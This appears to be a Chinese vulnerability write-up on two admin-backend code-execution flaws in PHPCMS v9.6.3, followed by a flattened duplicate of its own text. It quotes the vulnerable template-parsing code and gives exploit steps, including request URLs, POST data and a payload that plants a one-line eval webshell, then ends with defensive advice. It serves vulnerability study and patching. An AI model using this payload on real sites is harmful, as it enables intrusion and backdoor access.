某cmsv9.6.3之后台几处漏洞分析
字数 836 2025-08-29 08:31:48

PHPCMS v9.6.3 后台漏洞分析与利用教学文档

漏洞概述

PHPCMS v9.6.3 后台存在多处安全漏洞,攻击者可以利用这些漏洞实现任意代码执行(GETSHELL)。本文档将详细分析两处关键漏洞的利用方法。

漏洞一:模板解析导致的代码执行

漏洞位置

block_admin 模块中的模板解析功能

漏洞分析

  1. 漏洞触发点位于模板解析过程中,系统直接包含用户可控的模板文件:
if (@file_put_contents($filepath,$str)) {
    ob_start();
    include $filepath;
    $html = ob_get_contents();
    ob_clean();
    @unlink($filepath);
}
  1. 模板内容来源:
$str = $tpl->template_parse(new_stripslashes($template));
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template'])

用户通过POST提交的template参数未经任何过滤直接用于模板解析。

利用步骤

  1. 访问以下URL(需要有效的pc_hash参数):
http://www.test.com/phpcms/install_package/index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
  1. 提交POST数据:
dosubmit=1&name=ac&type=2
  1. template参数中插入恶意PHP代码:
<?php file_put_contents("phpcms_shell.php","<?php eval(\$_POST[1]);?>");?>
  1. 成功执行后会在网站根目录生成phpcms_shell.php后门文件。

漏洞二:缓存编译导致的代码执行

漏洞位置

category 模块中的模板缓存编译功能

漏洞分析

  1. setting参数直接存入数据库,未经任何过滤:
$setting = $_POST['setting'];
$_POST['info']['setting'] = array2string($setting);
  1. 系统会从数据库读取setting[page_template]字段值用于模板编译:
include template('content',$template);
  1. 模板编译过程:
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
$content = $this->template_parse($content);
$strlen = file_put_contents ( $compiledtplfile, $content );
  1. 最终通过include包含编译后的PHP文件实现代码执行。

利用步骤

  1. 找到可控的HTML模板文件(如栏目模板)。

  2. 通过栏目管理功能提交恶意setting参数,包含page_template指向恶意模板。

  3. 访问以下URL触发模板编译(catid需替换为实际栏目ID):

http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15
  1. 系统会编译恶意模板并执行其中的PHP代码。

防御建议

  1. 对所有用户输入进行严格过滤,特别是文件路径和模板内容。

  2. 限制模板文件只能位于特定目录,禁止使用相对路径跳转。

  3. 对模板解析过程进行安全审计,避免直接执行用户可控代码。

  4. 及时更新到最新版本,官方可能已修复这些漏洞。

总结

这两处漏洞都源于对用户输入的不当信任,通过精心构造的输入,攻击者可以绕过安全限制实现任意代码执行。开发人员应始终遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤。

PHPCMS v9.6.3 后台漏洞分析与利用教学文档 漏洞概述 PHPCMS v9.6.3 后台存在多处安全漏洞,攻击者可以利用这些漏洞实现任意代码执行(GETSHELL)。本文档将详细分析两处关键漏洞的利用方法。 漏洞一:模板解析导致的代码执行 漏洞位置 block_admin 模块中的模板解析功能 漏洞分析 漏洞触发点位于模板解析过程中,系统直接包含用户可控的模板文件: 模板内容来源: 用户通过POST提交的 template 参数未经任何过滤直接用于模板解析。 利用步骤 访问以下URL(需要有效的pc_ hash参数): 提交POST数据: 在 template 参数中插入恶意PHP代码: 成功执行后会在网站根目录生成 phpcms_shell.php 后门文件。 漏洞二:缓存编译导致的代码执行 漏洞位置 category 模块中的模板缓存编译功能 漏洞分析 setting 参数直接存入数据库,未经任何过滤: 系统会从数据库读取 setting[page_template] 字段值用于模板编译: 模板编译过程: 最终通过 include 包含编译后的PHP文件实现代码执行。 利用步骤 找到可控的HTML模板文件(如栏目模板)。 通过栏目管理功能提交恶意 setting 参数,包含 page_template 指向恶意模板。 访问以下URL触发模板编译( catid 需替换为实际栏目ID): 系统会编译恶意模板并执行其中的PHP代码。 防御建议 对所有用户输入进行严格过滤,特别是文件路径和模板内容。 限制模板文件只能位于特定目录,禁止使用相对路径跳转。 对模板解析过程进行安全审计,避免直接执行用户可控代码。 及时更新到最新版本,官方可能已修复这些漏洞。 总结 这两处漏洞都源于对用户输入的不当信任,通过精心构造的输入,攻击者可以绕过安全限制实现任意代码执行。开发人员应始终遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤。